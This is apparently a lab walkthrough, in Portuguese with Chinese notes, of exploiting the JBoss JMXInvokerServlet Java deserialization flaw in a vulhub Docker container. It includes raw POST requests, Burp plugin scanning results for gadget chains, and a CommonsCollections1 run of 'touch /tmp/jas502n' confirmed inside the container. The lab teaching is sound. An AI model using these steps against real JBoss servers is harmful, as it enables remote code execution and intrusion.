
Jboss_JMXInvokerServlet_Deserialization_RCE

root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker-compose up -d
jmxinvokerservlet-deserialization_jboss_1 is up-to-date
root@kali:~# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS
65b3707b9419 vulhub/jboss:as-6.1.0 "/run.sh" 4 hours ago Up 4 hours 0.0.0.0:8080->8080/tcp, 0.0.0.0:9990->999
No histórico do BurpSuite, se o caminho /invoker/JMXInvokerServlet existir, a página retorna código de status 200
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 10.10.20.166:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Cookie: JSESSIONID=8B6B65418F89E8857F4302AB85085A36
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
aaaa
a resposta retorna dados de serialização Java, versão 5 O cabeçalho do arquivo começa com aced0005737200246f72672e6a626f73
Envie o tráfego POST /invoker/JMXInvokerServlet para o plugin DS
Clique com o botão direito e clique em Send request to DS-Manual testing

Selecione a posição onde existe serialização, já que o JBoss lê o objeto serializado enviado pelo usuário na requisição /invoker/JMXInvokerServlet. Defina aaaa como ponto de serialização, selecione todo aaaa Depois clique em Set Insertion Point Agora os dados POST se tornam $aaaa$
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 10.10.20.166:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Cookie: JSESSIONID=8B6B65418F89E8857F4302AB85085A36
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
§aaaa§

Clique em Attack
Indicação
SCANNING IN PROGRESS //正在进行扫描
Scanning can go on approximately from 1 second up to 3 minutes, based on the number of vulnerable libraries founded
//根据创建的易受攻击的库的数量,扫描可以持续大约1秒到3分钟
Aguarde um momento
Resultados:
Apache Commons Collections 3 (Sleep): Potencialmente VULNERÁVEL!!! Spring Alternate Payload (Sleep): Não vulnerável. Apache Commons Collections 4 (Sleep): Não vulnerável. JSON (Sleep): Não vulnerável. Apache Commons Collections 3 Alternate payload 2 (Sleep): Não vulnerável. ROME (Sleep): Não vulnerável. Apache Commons Collections 4 Alternate payload (Sleep): Não vulnerável. Java 8 (up to Jdk8u20) (Sleep): Não vulnerável. Java 6 and Java 7 (up to Jdk7u21) (Sleep): Potencialmente VULNERÁVEL!!! Hibernate 5 (Sleep): Não vulnerável. Commons BeanUtils (Sleep): Não vulnerável. Apache Commons Collections 3 Alternate payload 3 (Sleep): Potencialmente VULNERÁVEL!!! Spring (Sleep): Não vulnerável. Apache Commons Collections 3 Alternate payload (Sleep): Potencialmente VULNERÁVEL!!! FIM
NOTA IMPORTANTE: Redes com alta latência podem produzir falsos positivos!
Possíveis métodos de exploração perigosos
Apache Commons Collections 3 (Sleep): Potencialmente VULNERÁVEL!!! // Potencialmente perigoso! Java 6 and Java 7 (up to Jdk7u21) (Sleep): Potencialmente VULNERÁVEL!!! // Potencialmente perigoso! Apache Commons Collections 3 Alternate payload 3 (Sleep): Potencialmente VULNERÁVEL!!! // Potencialmente perigoso! Apache Commons Collections 3 Alternate payload (Sleep): Potencialmente VULNERÁVEL!!! // Potencialmente perigoso!
Clique com o botão direito e envie para a guia Exploitation
Padrão
CommonsCollections1 COMMAND
Altere para
CommonsCollections1 "touch /tmp/jas502n"
Clique em Attack
Entre no servidor Docker e verifique se o arquivo /tmp/jas502n foi criado com sucesso

root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
65b3707b9419 vulhub/jboss:as-6.1.0 "/run.sh" 5 hours ago Up 5 hours 0.0.0.0:8080->8080/tcp, 0.0.0.0:9990->9990/tcp jmxinvokerservlet-deserialization_jboss_1
root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker exec -it 65b3707b9419 /bin/bash
[root@65b3707b9419 /]# cd /tmp
[root@65b3707b9419 tmp]# ls
hsperfdata_root jas502n
[root@65b3707b9419 tmp]# rm jas502n
rm: remove regular empty file 'jas502n'? y
[root@65b3707b9419 tmp]#
[root@65b3707b9419 tmp]# ls
hsperfdata_root
[root@65b3707b9419 tmp]# ls
hsperfdata_root jas502n
[root@65b3707b9419 tmp]#
https://github.com/vulhub/vulhub/blob/master/jboss/JMXInvokerServlet-deserialization/README.md